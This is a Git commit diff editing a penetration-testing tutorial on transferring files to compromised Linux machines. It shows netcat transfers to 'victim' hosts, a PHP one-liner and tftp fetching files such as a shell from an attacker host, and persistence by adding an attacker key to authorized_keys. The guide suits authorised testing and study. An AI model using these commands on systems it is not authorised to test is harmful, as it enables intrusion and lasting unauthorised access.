Commit 31207e00 authored by bobloblaw's avatar bobloblaw
Browse files

Updates transfering_files.md

Auto commit by GitBook Editor
parent f9c9fcc6
Loading
Loading
Loading
Loading
+1 −1
Original line number Diff line number Diff line
@@ -15,7 +15,7 @@
        * [Python Fundamentals](python_fundamentals.md)
        * [Useful Scripts](connections.md)
    * [Transferring Files](transfering_files2.md)
        * [Transfering files on linux](transfering_files.md)
        * [Transfering Files on Linux](transfering_files.md)
        * [Transfering files on windows](transfering_files_to_windows.md)
    * [Example of company architecture](example_of_company_architecture.md)
    * [Networking](networking.md)
+17 −14
Original line number Diff line number Diff line
@@ -2,7 +2,7 @@

## Set Up a Simple Python Webserver

For the examples using curl  and wget we need to download from a web-server. THis is an easy way to set up a web-server. This command will make the entire folder available on port 9999.
For the examples using `curl`  and `wget` we need to download from a web-server. This is an easy way to set up a web-server. This command will make the entire folder, from where you issue the command, available on port 9999.

```
python -m SimpleHTTPServer 9999
@@ -10,7 +10,7 @@ python -m SimpleHTTPServer 9999

## Wget

Now you can download any file with curl or wget
You can download files using `wget` like this:

```
wget 192.168.1.102:9999/file.txt
@@ -26,7 +26,7 @@ curl -O http://192.168.0.101/file.txt

Another easy way to transfer files is by using netcat.

If you can't have an interactive shell it might be risky to start listening on a on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can't do ctr-c because  that will destroy your sessions.
If you can't have an interactive shell it might be risky to start listening on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can't do `ctr-c` because that will kill your session.

So instead you can connect from the target machine like this.

@@ -42,9 +42,9 @@ On target machine:
nc 192.168.1.102 4444 > file
```

You can of course also do it the other way around:
You can of course also do it the risky way, the other way around:

So on the victim-machine we run nc like this:
So on the victim-machine we run `nc` like this:

```bash
nc -lvp 3333 > enum.sh
@@ -56,7 +56,7 @@ And on the attacking machine we send the file like this:
nc 192.168.1.103 < enum.sh
```

I have sometimes recieved this error:
I have sometimes received this error:

```
This is nc from the netcat-openbsd package. An alternative nc is available
@@ -77,11 +77,11 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '

## Ftp

If you have access to a ftp-client to can of course just use that. Rembemer, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted!!!
If you have access to a ftp-client to can of course just use that. Remember, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted!!!

## Tftp

On some rare machine we do not have access to nc and wget, and curl.. But we might have access to tftp. Some versions of tftp are run interactively, like this:
On some rare machine we do not have access to `nc` and `wget`, or `curl`. But we might have access to `tftp`. Some versions of `tftp` are run interactively, like this:

```
$ tftp 192.168.0.101
@@ -98,26 +98,28 @@ tftp 191.168.0.101 <<< "get shell5555.php shell5555.php"

If you manage to upload a reverse-shell and get access to the machine you might be able to enter using ssh. Which might give you a better shell and more stability, and all the other features of SSH. Like transferring files.

So, in the /home/user dir you can find the hidden `.ssh` files by typing `ls -la`.
So, in the `/home/user` directory you can find the hidden `.ssh` files by typing `ls -la`.
Then you need to do two things.

1. Create a new keypair

You do that with: 

```
ssh-keygen -t rsa -C "your_email@example.com"
```

then you enter a name for the key.

Enter file in which to save the key (/root/.ssh/id_rsa): nameOfMyKey
Enter passphrase (empty for no passphrase): 
Enter same passphrase again:

This will create two files, one called **nameOfMyKey** and another called **nameOfMyKey_pub**. The one with the *_pub* is of course your public key. And the other key is your private.
This will create two files, one called `nameOfMyKey` and another called `nameOfMyKey_pub`. The one with the `_pub` is of course your public key. And the other key is your private.

2. Add your public key to authorized_keys.

Now you copy the content of **nameOfMyKey_pub**. 
Now you copy the content of `nameOfMyKey_pub`. 
On the compromised machine you go to `~/.ssh` and then run add the public key to the file authorized_keys. Like this 

```bash
@@ -125,6 +127,7 @@ echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQqlhJKYtL/r9655iwp5TiUM9Khp2DJtsJVW
```

3. Log in.

Now you should be all set to log in using your private key. Like this

```
@@ -133,12 +136,12 @@ ssh -i nameOfMyKey kim@192.168.1.103

### SCP

Now we can copy files to a machine using **scp**
Now we can copy files to a machine using `scp`

```
# Copy a file:
$ scp /path/to/source/file.ext username@192.168.1.101:/path/to/destination/file.ext
scp /path/to/source/file.ext username@192.168.1.101:/path/to/destination/file.ext

# Copy a directory:
$ scp -r /path/to/source/dir username@192.168.1.101:/path/to/destination
scp -r /path/to/source/dir username@192.168.1.101:/path/to/destination
```
 No newline at end of file